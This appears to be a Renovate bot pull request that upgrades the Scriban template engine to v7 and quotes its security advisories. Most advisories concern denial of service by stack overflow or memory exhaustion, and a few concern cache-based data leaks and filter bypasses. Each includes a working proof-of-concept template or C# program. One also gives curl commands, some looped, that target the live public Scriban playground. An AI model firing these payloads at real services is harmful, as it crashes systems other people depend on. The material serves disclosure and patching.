Skip to content

chore(deps): update dependency scriban to v7 [security]#119

Open
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/nuget-scriban-vulnerability
Open

chore(deps): update dependency scriban to v7 [security]#119
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/nuget-scriban-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate bot commented Mar 19, 2026

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
Scriban (source) 5.9.17.0.0 age confidence

GitHub Vulnerability Alerts

GHSA-wgh7-7m3c-fx25

Scriban is vulnerable to an uncontrolled process crash resulting in a Denial of Service. Because the recursive-descent parser does not enforce a default limit on expression depth, an attacker who controls template input can craft a heavily nested template that triggers a StackOverflowException. In .NET, a StackOverflowException cannot be caught by standard try-catch blocks, resulting in the immediate and ungraceful termination of the entire hosting process.

Scriban utilizes a recursive-descent parser to process template expressions. While the library exposes an ExpressionDepthLimit property in its ParserOptions, this property defaults to null (disabled).

If an application accepts user-supplied templates (or dynamically constructs templates from untrusted input), an attacker can supply thousands of nested parentheses or blocks. As the parser recursively evaluates each nested layer, it consumes thread stack space until it exceeds the limits of the host OS, triggering a fatal crash.

Impact

An attacker can supply crafted input that triggers a StackOverflowException, causing immediate termination of the hosting process and resulting in a Denial of Service. In applications that process untrusted or user-controlled templates (e.g., web applications or APIs), this can be exploited remotely without authentication. The failure is not recoverable, requiring a full process restart and leading to service disruption.

Proof of Concept (PoC)

The following C# code demonstrates the vulnerability. Executing this code will immediately terminate the application process.

using Scriban;

// Creates a deeply nested expression: (((( ... (1) ... ))))
string nested = new string('(', 10000) + "1" + new string(')', 10000);

try {
  // This will crash the entire process immediately
  Scriban.Template.Parse("");
} catch (Exception ex) {
  // This catch block will never execute because StackOverflowException
  Console.WriteLine("Caught exception: " + ex.Message);
}

Suggested Remediation

Update the ParserOptions constructor (or the internal parser initialization) to set a default value for ExpressionDepthLimit. A limit of 1000 (or even lower, such as 250 or 500) is generally more than enough for legitimate templates while safely preventing stack exhaustion.

public int? ExpressionDepthLimit { get; set; } = 250; 

Alternatively, document the risk heavily and warn developers to manually set ExpressionDepthLimit if evaluating untrusted templates, though a secure-by-default approach is strongly preferred.

GHSA-grr9-747v-xvcp

When Scriban renders an object that contains a circular reference, it traverses the object's members infinitely. Because the ObjectRecursionLimit property defaults to unlimited, this behavior exhausts the thread's stack space, triggering an uncatchable StackOverflowException that immediately terminates the hosting process.

When rendering objects (e.g., ``), the Scriban rendering engine recursively inspects and formats the object's properties. To prevent infinite loops caused by deeply nested or circular data structures, TemplateContext contains an `ObjectRecursionLimit` property.

However, this property currently defaults to 0 (unlimited). If the data context pushed into the template contains a circular reference, the renderer will recurse indefinitely. This is especially dangerous for web applications that map user-controlled payloads (like JSON) directly to rendering contexts, or for applications that pass ORM objects (like Entity Framework models, which frequently contain circular navigation properties) into the template.

Proof of Concept (PoC)

The following C# code demonstrates the vulnerability. Executing this will cause an immediate, fatal StackOverflowException, bypassing any standard error handling.

using Scriban;
using Scriban.Runtime;

var template = Template.Parse("");
var context = new TemplateContext();
var a = new ScriptObject();

// Introduce a cycle
a["self"] = a;
context.PushGlobal(new ScriptObject { { "a", a } });

try {
  // This crashes the entire process immediately
  template.Render(context);
} catch (Exception ex) {
  // This will never execute because StackOverflowException
  Console.WriteLine("Caught exception: " + ex.Message);
}

Impact

This vulnerability allows a Denial of Service (DoS) attack. If a malicious user can manipulate the data structure passed to the renderer to include a cyclic reference, or if the application passes a complex object graph to an untrusted template, the entire .NET hosting process will crash.

Suggested Remediation

Update TemplateContext.cs to set ObjectRecursionLimit to a safe default, such as 20.

public int ObjectRecursionLimit { get; set; } = 20;

By implementing this default, circular references will gracefully result in a catchable ScriptRuntimeException rather than a fatal process crash.

GHSA-5rpf-x9jg-8j5p

TemplateContext.LimitToString defaults to 0 (unlimited). While Scriban implements a default LoopLimit of 1000, an attacker can still cause massive memory allocation via exponential string growth. Doubling a string for just 30 iterations generates over 1GB of text, instantly exhausting heap memory and crashing the host process. Because no output size limit is enforced, repeated string concatenation results in exponential memory growth.

Proof of Concept (PoC):
The following payload executes in under 30 iterations but results in ~1GB string allocation, crashing the process.

using Scriban;

string maliciousTemplate =
    @​"
        {{
            a = ""A""
            for i in 1..30
                a = a + a
            end
            a
        }}";

var template = Template.Parse(maliciousTemplate);

var context = new TemplateContext();

try
{
    template.Render(context);
}
catch (Exception ex)
{
    Console.WriteLine("\nException: " + ex.Message);
}

Impact:
An attacker can supply a small template that triggers exponential string growth, forcing the application to allocate excessive memory. This leads to severe memory pressure, garbage collection thrashing, and eventual process termination (DoS).

Suggested Fix:
Enforce a sensible default limit for string output. Set default LimitToString to 1MB (1,048,576 characters).

public int LimitToString { get; set; } = 1048576; 

GHSA-x6m9-38vm-2xhf

Summary

TemplateContext.Reset() claims that a TemplateContext can be reused safely on the same thread, but it does not clear CachedTemplates. If an application pools TemplateContext objects and uses an ITemplateLoader that resolves content per request, tenant, or user, a previously authorized include can be served to later renders without calling TemplateLoader.Load() again.

Details

The relevant code path is:

  • TemplateContext.Reset() only clears output, globals, cultures, and source files in src/Scriban/TemplateContext.cs lines 877–902.
  • CachedTemplates is initialized once and kept on the context in src/Scriban/TemplateContext.cs line 197.
  • include resolves templates through IncludeFunction.Invoke() in src/Scriban/Functions/IncludeFunction.cs lines 29–43.
  • IncludeFunction.Invoke() calls TemplateContext.GetOrCreateTemplate() in src/Scriban/TemplateContext.cs lines 1249–1256.
  • If a template path is already present in CachedTemplates, Scriban returns the cached compiled template and does not call TemplateLoader.Load() again.

This becomes a security issue when ITemplateLoader.Load() returns request-dependent content. A first render can prime the cache with an admin-only or tenant-specific template, and later renders on the same reused TemplateContext will receive that stale template even after Reset().


Proof of Concept

Setup

mkdir scriban-poc1
cd scriban-poc1
dotnet new console --framework net8.0
dotnet add package Scriban --version 6.6.0

Program.cs

using Scriban;
using Scriban.Parsing;
using Scriban.Runtime;

var loader = new SwitchingLoader();
var context = new TemplateContext
{
    TemplateLoader = loader,
};

var template = Template.Parse("{{ include 'profile' }}");

loader.Content = "admin-only";
Console.WriteLine("first=" + template.Render(context));

context.Reset();

loader.Content = "guest-view";
Console.WriteLine("second=" + template.Render(context));

sealed class SwitchingLoader : ITemplateLoader
{
    public string Content { get; set; } = string.Empty;

    public string GetPath(TemplateContext context, SourceSpan callerSpan, string templateName) => templateName;

    public string Load(TemplateContext context, SourceSpan callerSpan, string templatePath) => Content;

    public ValueTask<string> LoadAsync(TemplateContext context, SourceSpan callerSpan, string templatePath)
        => new(Content);
}

Run

dotnet run

Actual Output

first=admin-only
second=admin-only

Expected Output

first=admin-only
second=guest-view

The second render should reload the template after Reset(), but it instead reuses the cached compiled template from the previous render.


Impact

This is a cross-render data isolation issue. Any application that reuses TemplateContext objects and uses a request-dependent ITemplateLoader can leak previously authorized template content across requests, users, or tenants.

The issue impacts applications that:

  • Pool or reuse TemplateContext
  • Call Reset() between requests
  • Use include
  • Resolve include content based on request-specific state

GHSA-5wr9-m6jw-xx44

Summary

TemplateContext caches type accessors by Type only, but those accessors are built using the current MemberFilter and MemberRenamer. When a TemplateContext is reused and the filter is tightened for a later render, Scriban still reuses the old accessor and continues exposing members that should now be hidden.

Details

The relevant code path is:

  • TemplateContext.GetMemberAccessor() caches accessors in _memberAccessors by Type in src/Scriban/TemplateContext.cs lines 850–863.
  • For plain .NET objects, GetMemberAccessorImpl() creates a new TypedObjectAccessor(type, _keyComparer, MemberFilter, MemberRenamer) in src/Scriban/TemplateContext.cs lines 909–939.
  • TypedObjectAccessor stores the current filter and precomputes the exposed member set in its constructor and PrepareMembers() in src/Scriban/Runtime/Accessors/TypedObjectAccessor.cs lines 33–40 and 119–179.
  • Member access later goes through ScriptMemberExpression.GetValue() in src/Scriban/Syntax/Expressions/ScriptMemberExpression.cs lines 67–95, which uses the cached accessor.
  • TemplateContext.Reset() does not clear _memberAccessors in src/Scriban/TemplateContext.cs lines 877–902.

As a result, once a permissive accessor has been created for a given type, changing TemplateContext.MemberFilter later does not take effect for that type on the same reused context.

This is especially relevant because the Scriban docs explicitly recommend TemplateContext.MemberFilter for indirect .NET object exposure.


Proof of Concept

Setup

mkdir scriban-poc2
cd scriban-poc2
dotnet new console --framework net8.0
dotnet add package Scriban --version 6.6.0

Program.cs

using System.Reflection;
using Scriban;
using Scriban.Runtime;

var template = Template.Parse("");

var context = new TemplateContext
{
    EnableRelaxedMemberAccess = false
};

var globals = new ScriptObject();
globals["model"] = new SensitiveModel();
context.PushGlobal(globals);

context.MemberFilter = _ => true;
Console.WriteLine("first=" + template.Render(context));

context.Reset();

var globals2 = new ScriptObject();
globals2["model"] = new SensitiveModel();
context.PushGlobal(globals2);

context.MemberFilter = member => member.Name == nameof(SensitiveModel.Public);

Console.WriteLine("second=" + template.Render(context));

sealed class SensitiveModel
{
    public string Public => "ok";
    public string Secret => "leaked";
}

Run

dotnet run

Actual Output

first=leaked
second=leaked

Expected Behavior

The second render should fail or stop exposing Secret, because the filter only allows Public and EnableRelaxedMemberAccess is disabled.

This reproduces a direct filter bypass caused by the stale cached accessor.


Impact

This is a protection-mechanism bypass. Applications that use TemplateContext.MemberFilter as part of their sandbox or object-exposure policy can unintentionally expose hidden members across requests when they reuse a TemplateContext.

The impact includes:

  • Unauthorized read access to filtered properties or fields
  • Unauthorized writes if the filtered member also has a setter
  • Policy bypass across requests, users, or tenants when contexts are pooled

GHSA-c875-h985-hvrc

Summary

Scriban's LoopLimit only applies to script loop statements, not to expensive iteration performed inside operators and builtins. An attacker can submit a single expression such as {{ 1..1000000 | array.size }} and force large amounts of CPU work even when LoopLimit is set to a very small value.

Details

The relevant code path is:

  • ScriptBlockStatement.Evaluate() calls context.CheckAbort() once per statement in src/Scriban/Syntax/Statements/ScriptBlockStatement.cs lines 41–46.
  • LoopLimit enforcement is tied to script loop execution via TemplateContext.StepLoop(), not to internal helper iteration.
  • array.size in src/Scriban/Functions/ArrayFunctions.cs lines 596–609 calls list.Cast<object>().Count() for non-collection enumerables.
  • 1..N creates a ScriptRange from ScriptBinaryExpression.RangeInclude() in src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs lines 745–748.
  • ScriptRange then yields every element one by one without going through StepLoop() in src/Scriban/Runtime/ScriptRange.cs.

This means a single statement can perform arbitrarily large iteration without being stopped by LoopLimit.

There is also a related memory-amplification path in string * int:

  • ScriptBinaryExpression.CalculateToString() appends in a plain for loop in src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs lines 301–334.

Proof of Concept

Setup

mkdir scriban-poc3
cd scriban-poc3
dotnet new console --framework net8.0
dotnet add package Scriban --version 6.6.0

Program.cs

using Scriban;

var template = Template.Parse("{{ 1..1000000 | array.size }}");

var context = new TemplateContext
{
    LoopLimit = 1
};

Console.WriteLine(template.Render(context));

Run

dotnet run

Actual Output

1000000

Expected Behavior

A safety limit of LoopLimit = 1 should prevent a template from performing one million iterations worth of work.

Optional Stronger Variant (Memory Amplification)

using Scriban;

var template = Template.Parse("{{ 'A' * 200000000 }}");
var context = new TemplateContext
{
    LoopLimit = 1
};

template.Render(context);

This variant demonstrates that LoopLimit also does not constrain large internal allocation work.


Impact

This is an uncontrolled resource consumption issue. Any application that accepts attacker-controlled templates and relies on LoopLimit as part of its safe-runtime configuration can still be forced into heavy CPU or memory work by a single expression.

The issue impacts:

  • Template-as-a-service systems
  • CMS or email rendering systems that accept user templates
  • Any multi-tenant use of Scriban with untrusted template content

GHSA-p6q4-fgr8-vx4p

Summary

StackOverflowException via nested array initializers bypasses ExpressionDepthLimit fix (GHSA-wgh7-7m3c-fx25)

Details

The recent fix for GHSA-wgh7-7m3c-fx25 (uncontrolled recursion in parser) added ExpressionDepthLimit defaulting to 250. However, deeply nested array initializers ([[[[...) recurse through ParseArrayInitializerParseExpressionParseArrayInitializer, which is a different recursion path not covered by the expression depth counter.

This causes a StackOverflowException on current main (commit b5ac4bf - "Add limits for default safety").

PoC

using Scriban;

// ExpressionDepthLimit (default 250) does NOT prevent this crash
string nested = "{{ " + new string('[', 5000) + "1" + new string(']', 5000) + " }}";
Template.Parse(nested); // StackOverflowException - process terminates

Impact

Same as GHSA-wgh7-7m3c-fx25: High severity. StackOverflowException cannot be caught with try/catch in .NET - the process terminates immediately. Any application calling Template.Parse with untrusted input is vulnerable, even with the new default ExpressionDepthLimit enabled.

GHSA-v66j-x4hw-fv9g

Summary

The built-in string.pad_left and string.pad_right template functions in Scriban perform no validation on the width parameter, allowing a template expression to allocate arbitrarily large strings in a single call. When Scriban is exposed to untrusted template input — as in the official Scriban.AppService playground deployed on Azure — an unauthenticated attacker can trigger ~1GB memory allocations with a 39-byte payload, crashing the service via OutOfMemoryException.

Details

StringFunctions.PadLeft and StringFunctions.PadRight (src/Scriban/Functions/StringFunctions.cs:1181-1203) directly delegate to .NET's String.PadLeft(int) / String.PadRight(int) with no bounds checking:

// src/Scriban/Functions/StringFunctions.cs:1181-1183
public static string PadLeft(string text, int width)
{
    return (text ?? string.Empty).PadLeft(width);
}

// src/Scriban/Functions/StringFunctions.cs:1200-1202
public static string PadRight(string text, int width)
{
    return (text ?? string.Empty).PadRight(width);
}

The TemplateContext.LimitToString property (default 1MB, set at TemplateContext.cs:147) does not prevent the allocation. This limit is only checked during ObjectToString() conversion (TemplateContext.Helpers.cs:101-103), which runs after the string has been fully allocated by PadLeft/PadRight. The dangerous allocation is the return value of a built-in function — it occurs before output rendering.

The Scriban.AppService playground (src/Scriban.AppService/Program.cs:63-140) exposes POST /api/render with:

  • No authentication
  • Template size limit of 1KB (line 71) — the payload fits in 39 bytes
  • A 2-second timeout via CancellationTokenSource (line 118) — but this only cancels the await Task.Run(...), not the running template.Render() call (line 122). The BCL PadLeft allocation completes atomically before the cancellation can take effect.
  • Rate limiting of 30 requests/minute (line 25)

PoC

Single request to crash or degrade the AppService:

curl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{ \u0027\u0027 | string.pad_left 500000000 }}"}'

This 39-byte template causes PadLeft(500000000) to attempt allocating a 500-million character string (~1GB in .NET's UTF-16 encoding).

Expected result: The service returns an error or truncated output safely.

Actual result: The .NET runtime attempts a ~1GB allocation. Depending on available memory, this either succeeds (consuming ~1GB until GC), or throws OutOfMemoryException crashing the process.

Sustained attack with rate limiting:

# 30 requests/minute × ~1GB each = ~30GB/minute of memory pressure
for i in $(seq 1 30); do
  curl -s -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \
    -H "Content-Type: application/json" \
    -d '{"template": "{{ \u0027\u0027 | string.pad_left 500000000 }}"}' &
done
wait

The string.pad_right variant works identically:

curl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{ \u0027\u0027 | string.pad_right 500000000 }}"}'

Impact

  • Remote denial of service against any application that renders untrusted Scriban templates, including the official Scriban playground at scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net.
  • An unauthenticated attacker can crash the hosting process via OutOfMemoryException with a single HTTP request.
  • With sustained requests at the rate limit (30/min), the attacker can maintain continuous memory pressure (~30GB/min), preventing service recovery.
  • The existing LimitToString and timeout mitigations do not prevent the intermediate memory allocation.

Recommended Fix

Add width validation in StringFunctions.PadLeft and StringFunctions.PadRight to cap the maximum allocation. A reasonable upper bound is the LimitToString value from the TemplateContext, or a fixed maximum if the context is not available:

// src/Scriban/Functions/StringFunctions.cs

// Option 1: Fixed reasonable maximum (simplest fix)
public static string PadLeft(string text, int width)
{
    if (width < 0) width = 0;
    if (width > 1_048_576) width = 1_048_576; // 1MB cap
    return (text ?? string.Empty).PadLeft(width);
}

public static string PadRight(string text, int width)
{
    if (width < 0) width = 0;
    if (width > 1_048_576) width = 1_048_576; // 1MB cap
    return (text ?? string.Empty).PadRight(width);
}

Alternatively, make the functions context-aware and use LimitToString as the cap, consistent with how other Scriban limits work. The AppService should also be updated to run template rendering in a memory-limited container or AppDomain to provide defense-in-depth.

GHSA-xcx6-vp38-8hr5

Summary

The object.to_json builtin function in Scriban performs recursive JSON serialization via an internal WriteValue() static local function that has no depth limit, no circular reference detection, and no stack overflow guard. A Scriban template containing a self-referencing object passed to object.to_json triggers unbounded recursion, causing a StackOverflowException that terminates the hosting .NET process. This is a fatal, unrecoverable crash — StackOverflowException cannot be caught by user code in .NET.

Details

The vulnerable code is the WriteValue() static local function at src/Scriban/Functions/ObjectFunctions.cs:494:

static void WriteValue(TemplateContext context, Utf8JsonWriter writer, object value)
{
    var type = value?.GetType() ?? typeof(object);
    if (value is null || value is string || value is bool ||
        type.IsPrimitiveOrDecimal() || value is IFormattable)
    {
        JsonSerializer.Serialize(writer, value, type);
    }
    else if (value is IList || type.IsArray) {
        writer.WriteStartArray();
        foreach (var x in context.ToList(context.CurrentSpan, value))
        {
            WriteValue(context, writer, x);  // recursive, no depth check
        }
        writer.WriteEndArray();
    }
    else {
        writer.WriteStartObject();
        var accessor = context.GetMemberAccessor(value);
        foreach (var member in accessor.GetMembers(context, context.CurrentSpan, value))
        {
            if (accessor.TryGetValue(context, context.CurrentSpan, value, member, out var memberValue))
            {
                writer.WritePropertyName(member);
                WriteValue(context, writer, memberValue);  // recursive, no depth check
            }
        }
        writer.WriteEndObject();
    }
}

This function has none of the safety mechanisms present in other recursive paths:

  • ObjectToString() at TemplateContext.Helpers.cs:98 checks ObjectRecursionLimit (default 20)
  • EnterRecursive() at TemplateContext.cs:957 calls RuntimeHelpers.EnsureSufficientExecutionStack()
  • CheckAbort() at TemplateContext.cs:464 also calls EnsureSufficientExecutionStack()

The WriteValue() function bypasses all of these because it is a static local function that only takes the TemplateContext for member access — it never calls EnterRecursive(), never checks ObjectRecursionLimit, and never calls EnsureSufficientExecutionStack().

Execution flow:

  1. Template creates a ScriptObject: {{ x = {} }}
  2. Sets a self-reference: x.self = x — stores a reference in ScriptObject.Store dictionary
  3. Pipes to object.to_json: x | object.to_json → calls ToJson() at line 477
  4. ToJson() calls WriteValue(context, writer, value) at line 488
  5. WriteValue enters the else branch (line 515), gets members via accessor, finds "self"
  6. TryGetValue returns x itself, WriteValue recurses with the same object — infinite loop
  7. StackOverflowException is thrown — fatal, cannot be caught, process terminates

PoC

{{ x = {}; x.self = x; x | object.to_json }}

In a hosting application:

using Scriban;

// This will crash the entire process with StackOverflowException
var template = Template.Parse("{{ x = {}; x.self = x; x | object.to_json }}");
var result = template.Render(); // FATAL: process terminates here

Even without circular references, deeply nested objects can exhaust the stack since no depth limit is enforced:

{{ a = {}
   b = {inner: a}
   c = {inner: b}
   d = {inner: c}
   # ... continue nesting ...
   result = deepest | object.to_json }}

Impact

  • Process crash DoS: Any application embedding Scriban for user-provided templates (CMS platforms, email template engines, report generators, static site generators) can be crashed by a single malicious template. The crash is unrecoverable — StackOverflowException terminates the .NET process.
  • No try/catch protection possible: Unlike most exceptions, StackOverflowException cannot be caught by application code. The hosting application cannot wrap template.Render() in a try/catch to survive this.
  • No authentication required: object.to_json is a default builtin function (registered in BuiltinFunctions.cs), available in all Scriban templates unless explicitly removed.
  • Trivial to exploit: The PoC is a single line of template code.

Recommended Fix

Add a depth counter parameter to WriteValue() and check it against ObjectRecursionLimit, consistent with how ObjectToString is protected. Also add EnsureSufficientExecutionStack() as a safety net:

static void WriteValue(TemplateContext context, Utf8JsonWriter writer, object value, int depth = 0)
{
    if (context.ObjectRecursionLimit != 0 && depth > context.ObjectRecursionLimit)
    {
        throw new ScriptRuntimeException(context.CurrentSpan,
            $"Exceeding object recursion limit `{context.ObjectRecursionLimit}` in object.to_json");
    }

    try
    {
        RuntimeHelpers.EnsureSufficientExecutionStack();
    }
    catch (InsufficientExecutionStackException)
    {
        throw new ScriptRuntimeException(context.CurrentSpan,
            "Exceeding recursive depth limit in object.to_json, near to stack overflow");
    }

    var type = value?.GetType() ?? typeof(object);
    if (value is null || value is string || value is bool ||
        type.IsPrimitiveOrDecimal() || value is IFormattable)
    {
        JsonSerializer.Serialize(writer, value, type);
    }
    else if (value is IList || type.IsArray) {
        writer.WriteStartArray();
        foreach (var x in context.ToList(context.CurrentSpan, value))
        {
            WriteValue(context, writer, x, depth + 1);
        }
        writer.WriteEndArray();
    }
    else {
        writer.WriteStartObject();
        var accessor = context.GetMemberAccessor(value);
        foreach (var member in accessor.GetMembers(context, context.CurrentSpan, value))
        {
            if (accessor.TryGetValue(context, context.CurrentSpan, value, member, out var memberValue))
            {
                writer.WritePropertyName(member);
                WriteValue(context, writer, memberValue, depth + 1);
            }
        }
        writer.WriteEndObject();
    }
}

GHSA-m2p3-hwv5-xpqw

Summary

The LimitToString safety limit (default 1MB since commit b5ac4bf) can be bypassed to allocate approximately 1GB of memory by exploiting the per-call reset of _currentToStringLength in ObjectToString. Each template expression rendered through TemplateContext.Write(SourceSpan, object) triggers a separate top-level ObjectToString call that resets the length counter to zero, and the underlying StringBuilderOutput has no cumulative output size limit. An attacker who can supply a template can cause an out-of-memory condition in the host application.

Details

The root cause is in TemplateContext.Helpers.cs, in the ObjectToString method:

// src/Scriban/TemplateContext.Helpers.cs:89-111
public virtual string ObjectToString(object value, bool nested = false)
{
    if (_objectToStringLevel == 0)
    {
        _currentToStringLength = 0;  // <-- resets on every top-level call
    }
    try
    {
        _objectToStringLevel++;
        // ...
        var result = ObjectToStringImpl(value, nested);
        if (LimitToString > 0 && _objectToStringLevel == 1 && result != null && result.Length >= LimitToString)
        {
            return result + "...";
        }
        return result;
    }
    // ...
}

Each time a template expression is rendered, TemplateContext.Write(SourceSpan, object) calls ObjectToString:

// src/Scriban/TemplateContext.cs:693-701
public virtual TemplateContext Write(SourceSpan span, object textAsObject)
{
    if (textAsObject != null)
    {
        var text = ObjectToString(textAsObject);  // fresh _currentToStringLength = 0
        Write(text);
    }
    return this;
}

The StringBuilderOutput.Write method appends unconditionally with no size check:

// src/Scriban/Runtime/StringBuilderOutput.cs:47-50
public void Write(string text, int offset, int count)
{
    Builder.Append(text, offset, count);  // no cumulative limit
}

Execution flow:

  1. Template creates a string of length 1,048,575 (one byte under the 1MB LimitToString default)
  2. A for loop iterates up to LoopLimit (default 1000) times
  3. Each iteration renders the string via Write(span, x)ObjectToString(x)
  4. ObjectToString resets _currentToStringLength = 0 since _objectToStringLevel == 0
  5. The string passes the LimitToString check (1,048,575 < 1,048,576)
  6. Full string is appended to StringBuilder — no cumulative tracking
  7. After 1000 iterations: ~1GB allocated in-memory

PoC

using Scriban;

// Uses only default TemplateContext settings (LoopLimit=1000, LimitToString=1048576)
var template = Template.Parse("{{ x = \"\" | string.pad_left 1048575 }}{{ for i in 1..1000 }}{{ x }}{{ end }}");
// This will allocate ~1GB in the StringBuilder, likely causing OOM
var result = template.Render();

Equivalent Scriban template:

{{ x = "" | string.pad_left 1048575 }}{{ for i in 1..1000 }}{{ x }}{{ end }}

Each of the 1000 loop iterations outputs a 1,048,575-character string. Each passes the per-call LimitToString check independently. Total output: ~1,000,000,000 characters (~1GB) allocated in the StringBuilder.

Impact

  • Denial of Service: An attacker who can supply Scriban templates (common in CMS, email templating, report generation) can crash the host application via out-of-memory
  • Process-level impact: OOM kills the entire .NET process, not just the template rendering — affects all concurrent users
  • Bypass of safety mechanism: The LimitToString limit was specifically introduced to prevent resource exhaustion, but the per-call reset makes it ineffective against cumulative abuse
  • Low complexity: The exploit template is trivial — a single line

Recommended Fix

Add a cumulative output size counter to TemplateContext that tracks total bytes written across all Write calls, independent of the per-object LimitToString:

// In TemplateContext.cs — add new property and field
private long _totalOutputLength;

/// <summary>
/// Gets or sets the maximum total output length in characters. Default is 10485760 (10 MB). 0 means no limit.
/// </summary>
public int OutputLimit { get; set; } = 10485760;

// In TemplateContext.Write(string, int, int) — add check before writing
public TemplateContext Write(string text, int startIndex, int count)
{
    if (text != null)
    {
        if (OutputLimit > 0)
        {
            _totalOutputLength += count;
            if (_totalOutputLength > OutputLimit)
            {
                throw new ScriptRuntimeException(CurrentSpan, 
                    $"The output limit of {OutputLimit} characters was reached.");
            }
        }
        // ... existing indent/write logic
    }
    return this;
}

This provides defense-in-depth: LimitToString caps individual object serialization, while OutputLimit caps total template output.

GHSA-xw6w-9jjh-p9cr

Summary

Scriban's expression evaluation contains three distinct code paths that allow an attacker who can supply a template to cause denial of service through unbounded memory allocation or CPU exhaustion. The existing safety controls (LimitToString, LoopLimit) do not protect these paths, giving applications a false sense of safety when evaluating untrusted templates.

Details

Vector 1: Unbounded string multiplication

In ScriptBinaryExpression.cs, the CalculateToString method handles the string * int operator by looping without any upper bound:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:319-334
var leftText = context.ObjectToString(left);
var builder = new StringBuilder();
for (int i = 0; i < value; i++)
{
    builder.Append(leftText);
}
return builder.ToString();

The LimitToString safety control (default 1MB) does not protect this code path. It only applies to ObjectToString output conversions in TemplateContext.Helpers.cs (lines 101-121), not to intermediate string values constructed inside CalculateToString. The LoopLimit also does not apply because this is a C# for loop, not a template-level loop — StepLoop() is never called here.

Vector 2: Unbounded BigInteger shift left

The CalculateLongWithInt and CalculateBigIntegerNoFit methods handle ShiftLeft without any bound on the shift amount:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:710-711
case ScriptBinaryOperator.ShiftLeft:
    return (BigInteger)left << (int)right;
// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:783-784
case ScriptBinaryOperator.ShiftLeft:
    return left << (int)right;

In contrast, the Power operator at lines 722 and 795 uses BigInteger.ModPow(left, right, MaxBigInteger) to cap results. The MaxBigInteger constant (BigInteger.One << 1024 * 1024, defined at line 690) already exists but is never applied to shift operations.

Vector 3: LoopLimit bypass via range enumeration in builtin functions

The range operators .. and ..< produce lazy IEnumerable<object> iterators:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:401-417
private static IEnumerable<object> RangeInclude(BigInteger left, BigInteger right)
{
    if (left < right)
    {
        for (var i = left; i <= right; i++)
        {
            yield return FitToBestInteger(i);
        }
    }
    // ...
}

When these ranges are consumed by builtin functions, LoopLimit is completely bypassed because StepLoop() is only called in ScriptForStatement and ScriptWhileStatement — it is never called in any function under src/Scriban/Functions/. For example:

  • ArrayFunctions.Size (line 609) calls .Cast<object>().Count(), fully enumerating the range
  • ArrayFunctions.Join (line 388) iterates with foreach and appends to a StringBuilder with no size limit

PoC

Vector 1 — String multiplication OOM:

var template = Template.Parse("{{ 'AAAA' * 500000000 }}");
var context = new TemplateContext();
// context.LimitToString is 1048576 by default — does NOT protect this path
template.Render(context); // OutOfMemoryException: attempts ~2GB allocation

Vector 2 — BigInteger shift OOM:

var template = Template.Parse("{{ 1 << 100000000 }}");
var context = new TemplateContext();
template.Render(context); // Allocates BigInteger with 100M bits (~12.5MB)
// {{ 1 << 2000000000 }} attempts ~250MB

Vector 3 — LoopLimit bypass via range + builtin:

var template = Template.Parse("{{ (0..1000000000) | array.size }}");
var context = new TemplateContext();
// context.LoopLimit is 1000 — does NOT protect builtin function iteration
template.Render(context); // CPU exhaustion: enumerates 1 billion items
var template = Template.Parse("{{ (0..10000000) | array.join ',' }}");
var context = new TemplateContext();
template.Render(context); // Memory exhaustion: builds ~80MB+ joined string

Impact

An attacker who can supply a Scriban template (common in CMS platforms, email templating systems, reporting tools, and other applications embedding Scriban) can cause denial of service by crashing the host process via OutOfMemoryException or exhausting CPU resources. This is particularly impactful because:

  1. Applications relying on the default safety controls (LoopLimit=1000, LimitToString=1MB) believe they are protected against resource exhaustion from untrusted templates, but these controls have gaps.
  2. A single malicious template expression is sufficient — no complex template logic is required.
  3. The OutOfMemoryException in vectors 1 and 2 typically terminates the entire process, not just the template evaluation.

Recommended Fix

Vector 1 — String multiplication: Check LimitToString before the loop

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs, before line 330
var leftText = context.ObjectToString(left);
if (context.LimitToString > 0 && (long)value * leftText.Length > context.LimitToString)
{
    throw new ScriptRuntimeException(span,
        $"String multiplication would exceed LimitToString ({context.LimitToString} characters)");
}
var builder = new StringBuilder();
for (int i = 0; i < value; i++)

Vector 2 — BigInteger shift: Cap the shift amount

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs, lines 710-711 and 783-784
case ScriptBinaryOperator.ShiftLeft:
    if (right > 1048576) // Same as MaxBigInteger bit count
        throw new ScriptRuntimeException(span,
            $"Shift amount {right} exceeds maximum allowed (1048576)");
    return (BigInteger)left << (int)right;

Vector 3 — Range + builtins: Add iteration counting to range iterators

Pass TemplateContext to RangeInclude/RangeExclude and enforce a limit:

private static IEnumerable<object> RangeInclude(TemplateContext context, BigInteger left, BigInteger right)
{
    var maxRange = context.LoopLimit > 0 ? context.LoopLimit : int.MaxValue;
    int count = 0;
    if (left < right)
    {
        for (var i = left; i <= right; i++)
        {
            if (++count > maxRange)
                throw new ScriptRuntimeException(context.CurrentNode.Span,
                    $"Range enumeration exceeds LoopLimit ({maxRange})");
            yield return FitToBestInteger(i);
        }
    }
    // ... same for descending branch
}

Alternatively, validate range size eagerly at creation time: if (BigInteger.Abs(right - left) > maxRange) throw ...


Release Notes

scriban/scriban (Scriban)

v7.0.0

Compare Source

Changes

✨ New Features

  • Add security tests for untested protection paths (570466a)
  • Add AOT/trimming compatibility (#​656) (a58550f)
  • Add nullable support (e5f6950)
  • Add public comments to generated visitor code (035db9a)

🐛 Bug Fixes

  • Fix TemplateLoader doc reference (7327154)
  • Fix delegate optional defaults (a12cd0b)
  • Fix null-conditional indexers (e4693e7)
  • Fix AsyncCodeGen solution lookup (d56dc4e)
  • Fix pipe argument docs (4cb135a)
